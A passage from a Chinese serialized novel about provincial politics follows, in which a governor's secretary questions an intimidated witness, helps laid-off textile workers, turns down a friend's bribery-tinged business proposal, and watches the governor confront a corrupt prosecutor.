“这件事的背后,牵扯到汉江检察院的党组副书记,但你不要有任何压力,一定要给我查到底。 有什么突发问题,随时向我汇报。”孟良德郑重其事的说。 “明白,我这就派人去长廷县。”宫庆鑫道。 李承虽然只听了一个结尾,却也能想到全过程。 无非就是孟良德让宫庆鑫将赵金福的弟弟赵金来羁押到市局审问,由市局亲自调查非法采矿一事。 县公安局的行政级别不够,调查起来,很容易承受来自赵金福的压力,从而出现传话,串供等问题的出现,拖延调查进展,甚至可能会扭转调查结果。 汉江公安局和汉江检察院是同一行政级别,又是宫庆鑫亲自负责审理案件,对于那些政治干涉的压力,会减轻很多。 “还有,昨天绑架李秘书那伙人,找到了没有?”孟良德严肃的问。 秘书是省长的身边人,如果连秘书都被绑架的问题都不能严惩,以后谁还会愿意给这样的领导卖命呢? 并且,对方刚绑架李承,就是完全没把他这位省长放在眼里。 第117章 国外 拿出手机,李承给宫庆鑫打去了一个电话,并当着田进骅的面,按下了免提。 ‘嘟嘟嘟...’ “喂,李秘书。” 电话很快接通,宫庆鑫声音传来。 “宫局,麻烦你一点事,审讯室的监控,能不能断开一下。”李承道。 这一点,是有些违规的行为,所以李承也是在跟对方商量。 李承察觉到田进骅的无可奈何,他知道,自己不可能从田进骅口中获取到关于案件的证词。 也争取不到这位证人,除非,可以打消田进骅的顾虑。 李承想问的,就是他的顾虑究竟是什么。 如果是罪行的把柄,田进骅不会那么无奈。 “嗯...可以,不过就十分钟。”宫庆鑫想了想,还是答应了。 田进骅也不是普通犯人,他背后也牵扯到一股势力,所以,他不能给李承太多的断监控时间。 如果是换成其他的犯罪分子,没有牵扯过多势力的话,断监控只是小事一桩。 “谢谢宫局。”李承道谢。 没多久,监控的灯灭掉了。 李承看着田进骅,认真的说:“说说吧,你有什么顾虑,没准我能帮到你。” “你怎么帮我?孟良德说这话,我还能信。”田进骅耸了耸肩,道。 “你不说,怎么知道我帮我不到你呢,你自己犯的罪,你自己应该清楚。 我记得你有一个女儿,你也不想你女儿一辈子都见不到爸爸吧。” 李承打起了感情牌。 在进来询问田进骅之前,他向宫庆鑫了解了一下田进骅的情况。 田进骅的原生家庭不好,对于父母没什么亲情,抚养他长大的爷爷也去世了。 唯一的亲人,就是他的女儿。 田进骅罪行累累,他刚刚自己在无意间都透露了,他对很多官员做出这种事。 但他上次被判刑,跟这些人不沾边。 他没查出来的罪行有很多,他又成为了弃子,没有人保护他,他的所有罪行如果被查出来,他一辈子都可能出不来。 听到女儿,田进骅没有说话,眼神却暗淡了一些。 “你知道的,我想查的只有这一个案子,明白我的意思吗?”李承说。 他的话很直接了。 就是侧面的告诉田进骅,只要把这个案子查到底,其他事情,他和官方都不会多理会。 孟良德要揪出最后的指使者,田进骅不是。 田进骅不说,宫庆鑫他们又查不出来,那么,田进骅才会成为那个背锅侠,被查个底掉。 但如果查到了幕后人,主要视线被转移,也没人会追着田进骅去查。 也等于是变相的提田进骅开脱了。 李承这么说,也不是包庇他,只是把事实讲明白。 毕竟,调查案件本身就不归他管。 田进骅当然听明白了李承的意思,但他依旧保持沉默。 几分钟迟迟不开口。 “时间不多了。” 李承看了一眼手表,说。 宫庆鑫只给十分钟的时间,十分钟过了,他想说也不能说了。 毕竟,谁也不能保证公安局没有眼线。 监控录下来的话,说不定就会传到别人的耳中。 “我女儿不在国内。” 田进骅最终说了这七个字。 闻言,李承微微点头,大概明白了田进骅的意思。 但似乎是怕李承没有深度的了解,田进骅又补充了一句:“雷二利会给她提供很好的条件。” 言下之意,很明显了。 田进骅的顾虑就是他的女儿。 而她的女儿已经被雷二利当做人质,送到了国外去。 女儿在对方手里,他自然不敢出卖自己的大哥和背后的人。 不止是田进骅,很多替雷二利顶雷的弟兄家属,都被他送到了国外。 雷二利在北美有公司。 专门用于吸纳这些弟兄们的家属,作为人质。 如果哪个弟兄敢出卖他,那么这个弟兄这辈子都见不到他的家属,他的家属下场会很惨。 当初,有一个混混就出卖了雷二利。 结果,雷二利在他背后老板的庇护下,并没有受到任何的法律惩罚。 而出卖他的弟兄,却被判了一个无期徒刑。 他弟兄的家属,也是国外被非法分子杀死。 动手的人,不是雷二利。 但是,在那个混乱的国家,没有雷二利的庇护,雷二利再稍微动点手段,那些手无寸铁,身无分文的家属,就很难生存。 “在哪个国家?”李承问。 “具体,我也不清楚,雷二利从来没说过。”田进骅摇了摇头。 这就是雷二利的高明之处,他不让手下人知道所在的国家和具体位置,才是对他们最大的恐惧。 “好吧,我知道了。” 李承点了点头,没有再多问半点关于幕后人的信息。 他知道,再问就是自讨没趣。 ...... ‘我的爱如潮水,爱如潮水将我向你推,紧紧跟随....’ 回家的路上,李承的手机响了起来。 来电显示:费厂长。 “喂,老厂长。” 费玉春是纺织厂的老厂长,之前在锦绣广场问题上,两人相识。 后来,因为他孙女上学送礼的问题上,李承帮过忙,因此事,两人有了私交。 那件事后,李承还去过费玉春家里吃过几次饭。 “李秘书,下班了吗?”费玉春温和的问。 “下班了,在回家的路上。”李承说。 “吃饭了没?”费玉春问。 李承还没有吃饭,但现在已经过了饭店,对方给自己打电话自然也不会是邀请自己去吃饭。 这完全是一句客气。 所以,李承说:“吃过了,老厂长有什么事吗?” “是这样啊,这不是自从厂子拆迁后,厂里的工人也就没了工作,都说想让我继续带着他们办厂。 我这岁数大了,其实是不愿意折腾的,但这么多个家庭要吃饭,而且吧,纺织厂的效益也还可以。 之前市里领导答应给我们批地建厂,也迟迟没有落实,我想让你帮我催催,看看能不能加快一点流程。” 费玉春有些难为情的跟李承说。 李承知道,如果不是催促市里无果,他也不会给自己打电话。 便答应下来:“行,我帮你催催。” “嗯,麻烦你了李秘书。” “不麻烦,分内之事。” 第118章 暂缓 次日。 李承将昨晚从田进骅口中了解到的情况,一五一十的讲给了孟良德。 “他们这些人敢这么做,也是迫不得已,家人受到了威胁。” 李承言下之意,还有为田进骅开脱的意思。 从大局角度讲,田进骅只是小人物,只要幕后人不被抓,铲除一个田进骅,对方还会培养出千千万万个‘田进骅’。 但李承又没什么实权,这种事情不是他想管就能管得了的,需要孟良德决定。 “竟然有这种事。” 孟良德脸色沉重。 事情的发展,越来越严重,已经从一个非法采矿的案件,演变成一个巨大涉黑团伙案件。 但问题的关键,是这件事又牵扯到了境外。 想要查境外,就一定绕不开公安厅。 可常百利不值得信任,孟良德甚至担心常百利也会这背后的幕后利益团体有关联。 通过公安厅,此案大概率跟黄天耀一案是同一解决,落得个石沉大海。 这就是孟良德的难处。 手下能够信任的人不多,那些身处要职的人,跟他不是一条心,他的工作就难开展。 “先解决张家屯百姓的问题,剩下的,先放一放。”孟良德想了想,只能做出这个无奈的决定。 他也想查,却处处受到限制。 在解决常百利的政治立场,或是解决掉常百利这个人之前,这个案子不能查。 查了反而打草惊蛇。 “好的,省长。” 孟良德不查,李承也没有办法。 他就是一个秘书,最终的决策权在孟良德的手里。 当然,他也知道孟良德不查,就有孟良德的原因。 “让宫庆鑫继续根据田进骅来进行调查,能查到幕后就查,查不到就严判。” 孟良德严肃的道。 “好。”李承点头。 田进骅的线索是公知的,从他查起,不会起到引起对方的注意。 虽说,李承昨晚答应田进骅,只要说出他的顾虑,就不会深究他的其他问题。 但孟良德要深究,李承也没办法。 他不能左右孟良德的决定,更不能去包庇一个犯罪分子。 “昨天纺织厂的老厂长给我打了一通电话,说是批地的问题迟迟没有落实,要不要催一下市里?” 李承向孟良德询问意见。 其实,这件事李承也是可以打电话去催的。 但没有孟良德的许可,他只能催促相关部门,力度有限。 他跟孟良德讲这么件事,就是要得到孟良德的许可。 孟良德点头,他就能打着孟良德的旗号,去询问市长刘宝林,进度更快。 “嗯,催一下吧,老厂长在锦绣广场问题上帮了不少忙,不能让他和纺织厂的工人寒了心。 该有的企业扶持政策,也不要少。”孟良德道。 “好。” 出了办公室,李承将电话打给了汉江市政府。 “刘市长你好,我是孟省长的秘书李承。”接通刘宝林的电话,李承说明自己的身份。 “你好啊李秘书。”刘宝林笑呵呵打了个招呼。 “是这样,孟省长想让我问您,关于纺织厂的批地,大概什么时候能够落实下来?”李承问。 “李秘书,你也知道现在汉江的土地紧缺,纺织厂的效益又很有限,不符合市规划。” 刘宝林说出迟迟没有给纺织厂批地的原因:“能给纺织厂的地,就要到下属县市,这对纺织厂工人来说,交通也很不利。 我们也在积极的想解决方案。” 市区在产业升级,没有足够的地皮给纺织厂建厂。 靠近市区的地皮,自然要有限留给有能力的大厂,这些大厂能够给汉江创造更多的税收。 纺织厂的规模太小,效益也有限,只能维持工厂的运营,解决一个就业问题。 而这个就业,解决的人数也十分有限。 不利于市里的规划发展。 所以,这个的,市里是不想批的。 “嗯,但当初这个问题市里是给出承诺的,总不能食言,让那些工人寒了心,也丢了政府的公信力。” 李承也理解刘宝林的苦衷。 可这件事,不能因为政府的发展规划,而食言。 “李秘书,你跟费厂长的关系不错,要不你看跟他们商量商量,让他们到吾月县建厂。” 吾月县距离汉江市七十多公里的路程。 让工人每日往返工作,是不现实的。 可那些工人都有家有业,也不能住在厂里,这就是难题。 “刘市长,您这可是给我出难题啊。”李承无奈的笑道。 “能做多劳嘛,大家也都是为了汉江的发展。”刘宝林打了个哈哈,把问题抛给李承。 总之,他的态度还是很坚决的,不会将市里的好土地给一个小厂。 “我试着去沟通一下吧,市里也要想想办法,纺织厂的占地毕竟不大,挤一挤总会有地方的。” 李承也没有拒绝刘宝林。 如果能通过商量解决这件事,李承愿意帮这个忙。 正如刘宝林所讲,一切为了汉江的发展。 ..... 晚上,李承自掏腰包,买了些水果来到老厂长家。 “李承叔叔,你怎么来了,快请进。” 给李承开门的是费筱筱,自从李承去学校给费筱筱撑腰后,老师对她的学习很重视。 而且,态度也有了一百八十度的大转变。 这让费筱筱对李承颇有好感,每次见到李承都格外的热情亲切。 “筱筱,你爷爷在家吗?”李承笑着问。 他也很喜欢筱筱这个孩子,乖巧懂事。 “在家呢。” 费筱筱笑嘻嘻的答应一声,走进屋里:“爷爷,李承叔叔来了。” 听到李承到来,费家人都赶了过来,热情招待李承,拿他当做座上宾。 “上次都跟你说了,来着就当自己家,别买东西,你咋不听呢。”费老厂长看着李承拎着东西过来,埋怨的语气说。 这种埋怨,是一种关心。 “就是一些水果。”李承把东西放在柜子上,跟费厂长一家寒暄了几句。 费厂长邀请李承晚上在家里吃,李承也没拒绝。 在等待饭菜的过程中,李承也表明了这次来意:“老厂长,这次过来是想跟你聊一下关于建厂的事。” 第119章 就业问题 “怎么样?有信了?” 费厂长在看到李承时,就猜到他此次过来是与建厂有关,询问道。 “嗯,孟省长也很重视这件事,特意让我联系了市长张宝林。” 李承先是将孟良德的形象摆正,再去将问题原因归在市政府方面。 这样,至少不会让老厂长觉得是省长不作为。 身为孟良德他的秘书,他要以维护孟良德的形象作为优先级。 “张市长那边怎么说?” 见李承没有继续讲下去,费厂长有些焦急,他察觉到这件事情并不好解决。 “市里的土地资源稀缺,纺织厂的贡献力度相比于大厂少了很多竞争力,他的解决办法是从吾月县个纺织厂批一块地。” 李承难为情的说。 原纺织厂地址在明月新区的核心地带,一下子给支到几十公里的县城,换做李承是费厂长和厂里员工,也会不情愿。 可站在一个公正的角度看,纺织厂员工在锦绣广场的补偿上吃到了红利,也应该接受新地址偏远的情况。 “吾月县有点太远了吧,工人们的交通问题很不方便,让他们离开家去住员工宿舍,他们不会愿意的。”费厂长摇了摇头。 费厂长是一个通情达理的人,他也知道纺织厂的经营情况,跟那些大厂比,没有竞争力。 他能理解政府,尤其是李承亲自来谈,他愿意给李承面子。 而且,他年纪大了,儿子和儿媳妇也有稳定的工作,也想做一个安稳退休的老头。 家人们也反对他继续办厂。 但毕竟是这么多年的老厂长了,那些员工在他眼里跟家人一样,他想给他家解决就业问题。 费厂长了解每一个工人的家庭情况,如果选址在吾月县,那些工人也没办法参与工作。 “市里也有难处,关于规划问题,省里也不好干涉市政府的大规划。”李承无奈的说。 当初答应给他们选址建新厂时,确实答应在汉江市。 问题是,吾月县也属于汉江,不算失言,顶多算一种文字游戏而已。 而李承也深知,以纺织厂的产量和规模,拿到好地皮确实不利于城市发展。 在大规划面前,纺织厂就要被淘汰。 “唉...主要这些工人们,总得给他安排个事做呀,都要养家糊口。”老厂长叹了一口气,道。 “这件事我也考虑过,所以这次来就是想听听费叔您的想法,如果您是想解决他们的就业问题,我可以让市里给他们提供其他就业岗位。”李承道。 “他们都在纺织厂工作半辈子里,去了其他厂,我怕难适应。”老厂长担忧的说。 “老费,你就听李承的,给那些工人安排其他工作吧,你说你也一大把年纪了,还办厂干嘛。” 费厂长的老伴在一旁劝道。 “是呀爸,你也辛苦一辈子里,以后你就跟我妈出去溜达溜达,全国旅旅游呗。” 费厂长的儿子也劝他。 “我可不溜达,我舍不得我的宝贝孙女。”费厂长看向费筱筱,脸上流露出宠溺的笑容。 “爷爷,我也不想您那么辛苦,而且我马上要考大学了,可能也要出去读书,您不办厂的话,还能到我上大学的城市陪我。 还有,我一直想去旅游,我爸我妈也没时间带我去,我想跟你和奶奶一起。”费筱筱同样劝说道。 整个家里,没有一个人支持他办厂。 其他人的劝说,他都充耳不闻,唯独孙女费筱筱的话他放在心上,笑呵呵的问:“我和你奶奶都岁数大了,你还愿意跟我们两个老骨头旅游呀?” “愿意呀,以后参加工作时间更少了,我想趁现在多陪陪你俩。”费筱筱甜甜一笑,说。 “筱筱真懂事。”李承感慨道。 像费筱筱这个年纪的孩子,都巴不得跟家人远一点,出去玩也想跟朋友一起说说笑笑。 愿意跟老人一起出去的孩子,少见。 “行,那就听我大孙女的。”费老厂长欣慰的大笑起来。 “李秘书,那就麻烦你跟市里领导沟通一下,给这些工人们一份工作,最好能体面一点的。”费厂长道。 “嗯,一定。” 谈论完关于建厂的事情后,李承看向费筱筱:“筱筱,最近老师对你怎么样?” “自从您去找过校长之后,我们老师对我特别照顾,同学们都很羡慕我呢。”费筱筱笑嘻嘻的说。 “那她对待其他同学呢?”李承问。 “还是老样子呗。”费筱筱道。 老师不可能特别关照每一位学生,费筱筱的优待是借了李承的光。 “还会针对同学和送礼的现象吗?”李承问。 “嗯,有,昨天我同桌还被老师针对了。”费筱筱道。 “他不听话?”李承反问。 “没有,还是没送礼呗。”费筱筱淡淡的说。 “那是为什么?” 不过年不过节的,家长们也没有理由去送礼呀。 只有出现集体送礼的情况,那些没送礼的家长,孩子才可能被针对。 “还能是为什么,前天他们老师过生日,发了那么多条朋友圈,生怕别人不知道她过生日,就是想送礼呗。” 费厂长的儿媳妇说明了原因,还摆出一个骄傲的样子:“反正我没是给她送,有李秘书在,我就不信她还敢刁难筱筱。” “哦,这么回事呀。”李承点了点头。 他特意去了一趟学校,不仅仅是为了给费筱筱撑腰,而是为了整顿老师的作风问题。 他要的结果,也不是让费筱筱被优待,而是老师能够一直同仁。 “这些教师的行为作风,真该整顿整顿,太过分了,为人师表怎么能这样!”费老厂长愤愤不平的道。 “怎么整顿呀,又不是个例,所有老师都一个样,风气就这样,想整顿也整顿不过来。” 费厂长儿媳妇说完,还看向了李承:“对吧,李秘书?” “孟省长已经关注到了这件事,会有整顿方案的。”李承说。 孟良德一直想要整顿教育的歪风邪气,不过,是要放到寒假。 时间已经不远了。 “希望如此吧。” 第120章 旧友相见 非法采矿和张家屯污水问题已经有了处理解决结果。 在周末的《东江问政》上,给了所有关注此事的群众们一个交代。 张家屯全体村民被县里进行妥善安置,并由政府出资,对于民众进行体检,以及治疗,赔偿等.... 这种对百姓负责到底的态度,获得了群众们的高度认可。 对于以赵金来为首的非法采矿人,也进行了严厉的法律制裁,赵金来被判处十年有期徒刑,没收全部非法所得,并处罚金二百万。 其余人等,根据参与程度不同,刑期不同,从六个月到七年,处罚金从两万到五十万不等。 水利局局长张安,生态环境分局局长栢凯等懒政负责人,皆被降职处理。 对于这次事件背后更深层的问题,没有进行报道。 有些事情可以放在台面上给群众看,有些事情不能。 还没有确切证据指明赵金来与赵金福在此事上的利益关系,就算证据确凿,也不会公之于众。 但调查还在继续,本身此事就涉及大规模的群众健康安全问题,对方又对李承动了手,这让孟良德愤怒不已。 他下达了死命令,势必要挖出幕后主使。 纺织厂问题在李承的撮合下,市政府跟纺织厂工人达成了一致。 市政府与卷烟材料厂达成了协议,由卷烟材料厂接纳纺织厂的下岗工人,给他们提供就业岗位。 涉及烟草,公司的收入自然非常可观,公司收入高,给员工的福利待遇也会更高。 相比于纺织厂,卷烟材料厂的待遇更好,工人们自然也乐意至极。 ‘我的爱如潮水,爱如潮水将我向你推....’ 周末,李承正在厨房给许梦大展厨艺时,手机响了起来。 “谁呀宝宝?” 李承听到铃声越来越近,他知道许梦已经拿着他的手机走了过来,开口问。 “汪浩轩。” 许梦回答时,已经走到了厨房,将手机递给李承。 “我大学同学。” 李承跟许梦解释了一下对方身份,接通电话:“喂,轩哥。” “承哥,忙着呢吗?”汪浩轩问。 两人大学在一个宿舍,还是上下铺的兄弟,关系很要好。 但出了大学的门,步入了社会,大家也有了各自的工作与生活,联系也就不再那么紧密。 毕业后,汪浩轩去了深圳发展,前几年两个人还能在过年期间一起出来聚一聚,喝喝酒。 偶尔还会在微信上聊聊天,侃侃大山,沟通沟通感情。 但随着联系的越来越少,两人工作也越来越忙,已经将近三年没再有过联系。 “不忙,今天放假。” 虽说联系变少,感情却还在,听到对方声音时,还是那么的亲切:“你个大忙人,今天怎么有空联系我了?” “还说我忙,你比我更忙,我看啊,我不主动联系你,你都得给我忘了。”汪浩轩调侃了一句。 “哈哈哈,忘得差不多了。”李承玩笑地回答道。 “没良心啊,你小子,当初你和秦虹处对象逃寝的时候,我可给你顶过不少雷,居然还要给我忘了。” 汪浩轩哼了一声,提起了往事。 这不禁让李承回忆起过往,大学那会虽没钱没地位,却是真的开心,一群朋友围在身边嘻嘻哈哈。 不像现在,地位有了,身边恭维他的人也多了,却没什么真心朋友。 “说得好像我没帮你似的,我都懒得提你和柳思瑶那点事。”李承轻哼了一声。 “哈哈哈...” 汪浩轩爽朗地笑了笑,说:“我从深圳回来了,人就在汉江,晚上一起出来聚一聚呀?” “行,正好带你认识认识我女朋友。”李承答应道。 钩心斗角见多了,身边也没几个真心朋友说说话,他也很想见见这位老朋友。 但因为工作性质,每周只有周末李承和许梦才能享受那份独处的甜蜜。 他不想给许梦一个人丢在家里。 况且,两个人是要结婚的,他也想给许梦介绍给身边朋友。 “好啊,有什么想吃的吗?我安排你。”汪浩轩说。 “滚蛋,瞧不起人啊。”李承笑骂了一句:“我定地方,晚点给你发位置。” 好兄弟从外地回来,哪有让对方请客的道理。 传出去都让人笑话。 “行,晚上见。” 挂断电话,李承放下手机对许梦说:“宝宝,我们晚上出去吃,带你认识个朋友。” “嗯,好。”许梦微笑点头。 她想嫁给李承,自然想要融入李承的朋友圈里。 中午,两个人在家里吃过饭后,李承订了一个还算不错的饭店,给汪浩轩发去地址。 傍晚五点十分,当李承赶到饭店时,汪浩轩已经提前到了。 “订的五点半,你来这么早干什么?”李承看到老朋友,心情格外开心。 “我正好在附近忙完事,就过来了。” 汪浩轩解释了一句,目光看向许梦,对李承问:“这是你女朋友?这么漂亮。” “是呀。”李承笑道。 “你小子命真好,找到这么漂亮的对象,羡慕,甚至是嫉妒啊。” 汪浩轩说的是玩笑,也是心里话。 因为许梦太美了,若她不是李承的女朋友,汪浩轩也一定会选择追求。 “哈哈哈...怎么不说是她命好,找到我这么好的男人。”李承玩笑了一句。 “你可拉倒吧。”汪浩轩回怼道。 “我叫许梦,你好。” 许梦温柔地向汪浩轩自我介绍。 “我叫汪浩轩,是你老公大学最好的朋友。” 汪浩轩笑呵呵地说:“我知道你,新闻主持人嘛。” “呦,你个大城市回来的,也从来不看新闻,还知道她呢。”李承给许梦倒了一杯水,对汪浩轩说。 “我当然是不知道了,柳思瑶告诉我的。”汪浩轩说。 “你俩还有联系呢?”李承笑盈盈地问。 “我们也没断过联系啊,她可是我老铁。”汪浩轩露出一个你懂得的笑容,说。 李承玩味地笑道:“你是真行,能给柳思瑶迷成这样,我看啊,你这一回来,她这二婚是结不成了,哈哈哈。” 第121章 离不开的利益 “不耽误她结婚,我俩这关系,你清楚的。” 汪浩轩冲李承挑了挑眉毛,因为许梦在的原因,他没有深说下去。 “我挺佩服你,能给柳思瑶迷得神魂颠倒。” 李承清楚汪浩轩的意思,感叹了一声。 汪浩轩一米七五左右的个子,很瘦,像竹竿一样。 长相也是普通人,并没有很出色。 却在大学时期,乃至于到现在,都让柳思瑶为其欲罢不能。 大学时,汪浩轩就不是一个老实的主,跟柳思瑶谈着恋爱,还偷偷跟别的女人搞暧昧,开房。 还被柳思瑶给抓了一个现行。 换做其他女生发现自己被戴了绿帽子,早就分手,老死不相往来了。 可柳思瑶选择了原谅,不仅如此,反而她对汪浩轩更加上心,想要用体贴和温柔赢取汪浩轩的心。 大学毕业后,汪浩轩毅然决然地提出分手,去了深圳发展,将柳思瑶抛下。 柳思瑶伤心欲绝,选择了和别人结婚。 但即便她结了婚,每年汪浩轩回来,两个人都会见面,发生一些不可描述的关系。 据听说,柳思瑶一直不生孩子,跟前夫离婚,都与汪浩轩有一定的关联。 能够让一个女人如此死心塌地,不图任何,这一点,李承很佩服汪浩轩的本事。 “没办法,哥就是有魅力,天生招女人喜欢。”汪浩轩很是自豪地说。 “对了,你在南方创业怎么样了?” 对于这些情情爱爱的往事,许梦插不上嘴,李承也担心她联想到秦虹而不高兴,索性岔开了话题。 “赚了一点小钱。”汪浩轩说。 “你脑瓜好使,是个做生意的料。”李承道。 “我脑瓜再好使,也不及你一半呀,我可听说了,你现在是省长的专职秘书,飞黄腾达了。”汪浩轩说。 “什么飞黄腾达,我这工作也不好干,很操心的,也赚不到什么大钱,就图个安稳。 跟汪老板比不了。” 在两个人聊天期间,酒菜已经上桌,李承给汪浩轩递了一瓶啤酒,说。 “跟我还谦虚个毛,我要是省长秘书,给我一千万我都不换。”汪浩轩倒满酒,端起杯来。 “别说一千万,给我五百万我都换。”李承跟他碰了一下杯,将杯中啤酒一口喝掉。 省长秘书的含金量很高,可以说是处级干部里的天花板。 如果想捞钱,别说一千万,一个亿也能捞到。 陈志伟送他的那块手表就价值一千多万,这些日子,想给他送钱的人不在少数。 如果他想,这次非法采矿事件,他要个二三百万,那伙人也会心甘情愿的出钱。 但捞了钱有什么用? 敢花吗? 不敢! 最后,还可能落得一个秦海的下场。 两个人说说笑笑,聊了汪浩轩这些年的创业,也聊了李承的晋升,以及感情问题等。 老朋友相见,格外亲切,李承的话匣子也打开了。 这顿酒喝得格外尽兴。 “承哥,我这次回来呢,就不准备走了,父母年纪也大了,我在外面也不放心他们。” 感觉喝得差不多了,汪浩轩循序渐进地说。 “哦,那你在那边的事业呢?”李承随口问道。 “都处理掉了,换成了现金,我打算在汉江发展发展,这里毕竟是家嘛,呵呵呵....” 汪浩轩笑呵呵的说。 可李承却听出了意思不对劲。 在秘书这个岗位呆久了,他遇到什么事,听到什么话,都会本能的多想。 他觉得,汪浩轩有什么事要跟他讲。 “嗯,回来挺好,咱们也能多聚聚。” 李承端起酒杯,跟他碰了一下:“喝酒。” 他并没有去接汪浩轩的话题,想以喝酒来打断对方,让他也不要继续这个话题。 但汪浩轩并不准备罢手,他喝完杯中的酒后,说:“承哥,你也知道,我在深圳做的是商品房销售代理公司,我在这方面有多年专业的经验。 所以,我想着咱哥俩能不能合作一把。” “我们有规定,不能创业。”李承摇了摇头,直接拒绝。 他的心情也有点低落,本以为这次聚会谈的是兄弟情分,但最终还是逃不过利益。 “你可以用许梦的名义呀,这种事,操作空间很大的,而且明月新区刚开发,还是很有前景的。 我在深圳的时候,最高一套房的佣金做到了将近一百万,那一期开盘就赚了小一千万。 我打听过,咱们汉江给的佣金也不少,只要能拿下几个楼盘的代理权,一次开盘赚个上百万很轻松。 而且都是合法合规,不会对你工作有影响。” 汪浩轩滔滔不绝,想通过高额的回报资金来诱惑李承。 “算了,我不是做生意的材料,许梦也不是,我们也帮不到什么忙,总不能干分钱吧。”李承点燃一根香烟,摆了摆手,再次拒绝。 汪浩轩什么意思,他清楚得很。 接连拒绝,并且丝毫不接他的话,就是想让汪浩轩知道他的态度,从而闭嘴不提。 可汪浩轩却不甘心。 “承哥,我不需要你出力,我打听过,明月新区的最大开发商是花海集团,明年他们公司最少有五个楼盘要盘。 只要你能给我们搭个桥,我给你百分之五十的股份。”汪浩轩道。 李承什么都不需要做,只要介绍他和李美娇认识,就能分走一半的净利润,在汪浩轩看来,他已经做到了极致。 可这个世界上,最珍贵的从来不是能力,而是资源。 没有资源,任凭他有天大的本事,也是无处施展。 “我跟花海集团不熟,帮不到你。”李承摇头拒绝。 说实话,对于汪浩轩的提议,他是有些心动的。 什么都不用做,就能分到钱,而且这些钱的来路很正,只要运作得好,完全可以将风险降到最低。 可是,他不能这么做。 花海集团凭什么给李承面子,说到底,那还不是要看李承的身份。 李承牵了这根线,他就与花海集团的利益挂上了钩。 到时候,李美娇遇到什么事情,求到了他这里,他就不能坐视不管... 第122章 坚定态度 李美娇何许人也? 那是一个能将人榨干的主。 花海集团又是孟良德眼中的一根刺,孟良德迟早要对花海集团进行彻查。 自己淌了浑水,就会被越拖越深。 到时候,自己的问题就不单单是介绍搭桥这么简单了。 “你怎么就一根筋呢,只是介绍认识,牵个线而已,又不需要你做什么,这是好事呀。” 汪浩轩接连被拒绝,费解的同时也有些恼火:“而且我也听说了,花海集团想跟你结交。” “这种好事你还是给别人做吧,我就适合赚我的死工资,拿着踏实。” 李承喝完杯中的酒,站起了身:“我明天还要上班,不能陪你太晚,改天再聚吧。” 李承站起身,许梦也起身穿上了外套。 “行,我知道了。” 汪浩轩见状,也不好再说什么,无奈地答应。 结完账,李承坐上许梦的副驾驶,两个人朝着家的方向走去。 “你对他的提议,怎么看?”李承问许梦。 在金钱的诱惑下,才能看清楚一个人,李承想知道许梦会不会为钱而心动。 毕竟,两个人是要结婚的。 结婚后,利益就绑定在了一起。 许梦一直说自己可以陪李承过这种安稳的日子,但也都是说,没有遇到过实际的事。 若是许梦说与做不符,结婚后,那些想贿赂李承的人,一定会另辟蹊径地从许梦身上找突破口。 如果许梦会被金钱诱惑,到时候,李承也可能被连累。 这就是从政者的烦恼,很多事情,他需要更加谨慎。 “说难听的话,你别不高兴呀。” 许梦语气中,带着些许的不悦:“你这是什么好兄弟,他这分明想拉你下水,你答应了他这次,以后就跟他绑到一起了,他会连累你的。” 许梦在给李承打抱不平。 只要李承跟汪浩轩合作,分到了他的钱,两个人就存在利益关系。 那么,一旦出了事,汪浩轩就会成为最有利的证据,变成政治对手刺向李承最锋利的刀。 “哎...这人呐,步入社会之后,难道真的就离不开利益了?”李承叹了一口气,他赞同许梦的说法。 “不是我挑拨离间,但我总觉得他心术不正,你以后跟他相处多注意点吧。” 许梦提醒后,又叮嘱了一句:“你千万不要跟他合作,钱我们可以慢慢挣,我不需要大房子,也不想开什么豪车,只要能安安稳稳地跟你过日子就行。” “嗯,我知道。” 李承点头,他对许梦的回答很满意,悬着的心也放下来了。 ..... 次日上午。 李承正在低头看文件时,汉江检察院的党组副书记赵金福走了进来。 “李秘书,忙着呢。” 走进办公室,赵金福笑呵呵地跟李承打招呼。 那轻松热情的态度,仿佛两个人并没有恩怨,更像是相识已久的朋友。 这就是官场。 明明两个人都看对方不顺眼,但在工作场合见面,还有笑脸相待。 从赵金福走到门口,李承就已经看到了他。 只不过,李承压根没打算理他。 尽管他已经站在李承面前,跟李承笑着打了招呼,李承依旧埋头伏案,假装没看见。 晾了赵金福足足半分钟,李承这才抬起头,假装一副才看见的表情:“哎呦,这不是赵副书记吗?你什么时候来的?” “进屋有一会儿了,李秘书工作很关注嘛。” 赵金福面带微笑,可眼神却散发着冷意。 他知道,李承这是故意在给他下马威。 他堂堂一个厅局级干部,被一个副处这般对待,心中十分不爽。 可李承这个副处,是省长的专职秘书,不是他们检察院的副处干部,心有怒火也不是他想发作就能发作的。 “孟省长还在见其他客人,你先坐下来等一会吧。”李承随口敷衍了一句。 他弟弟赵金来因为非法采矿已经被抓,孟良德也在调查他的涉案程度。 虽说,目前并没有什么重大发现,但对于赵金福这些年在检察院作威作福,滥用私权的事情,却查到了不少。 孟良德这次约他过来,就是要批评他。 “嗯。” 赵金福应了一声,坐在沙发上等待。 他很想问问李承,孟良德约他过来的目的。 但他同样也很清楚,他和李承的关系很差,就算问出口,对方也不会搭理他。 到最后撞一鼻子灰。 在这期间,李承还是按照接待标准,给他倒了一杯水。 省得因为一杯水的问题,被人诟病。 两人无话,直到约访时间到达,李承这才敲了敲孟良德办公室的门,向对方汇报赵金福过来。 得到孟良德的点头后,李承让赵金福进去。 “孟省长,您找我。” 赵金福走到孟良德的对面,客客气气地说。 “看看你这些年都干了什么好事!” 孟良德坐在他的办公椅上,身上散发着领导者的威严。 他甚至没有让赵金福入座,直接将一沓资料摔在赵金福的面前。 赵金福战战兢兢地拿起那些举报他的材料,快速地看着。 越看,脸色越沉重,越看越惶恐。 “省长,这....这都是无稽之谈,我没做过这些事啊。”赵金福将材料放下,胆怯地为自己辩解。 这些举报材料,虽然都是一些小问题,可孟良德要追究下去,那就是大问题。 对此,赵金福是打死不敢承认的。 “你是说,这些事情都是冤枉你的吗?”孟良德冷声质问。 “是冤枉,司法讲究公正,任何一个人都没有单独的决定权,而且我的工作以党建为主,不负责案件。” 赵金福矢口否认。 但他的否认是苍白无力的。 没错,他作为党组副书记,核心工作以党建和队伍建设为主,虽也参与一些重大案件的决策,但只是参与者之一。 从工作性质讲,他对案件接触较少。 可从权利上讲,他完全可以主导一个案件,只要他开口,手下人谁会不听? 不触碰到利益,同僚谁会不给面子? 权力的架构是复杂的,人性也是复杂的。 赵金福的回答,完全是避重就轻。 “那你在牡丹会饭店,威胁李秘书,也是冤枉你吗?” 第123章 求情 “那你在牡丹会饭店威胁李秘书,也是冤枉你吗?” 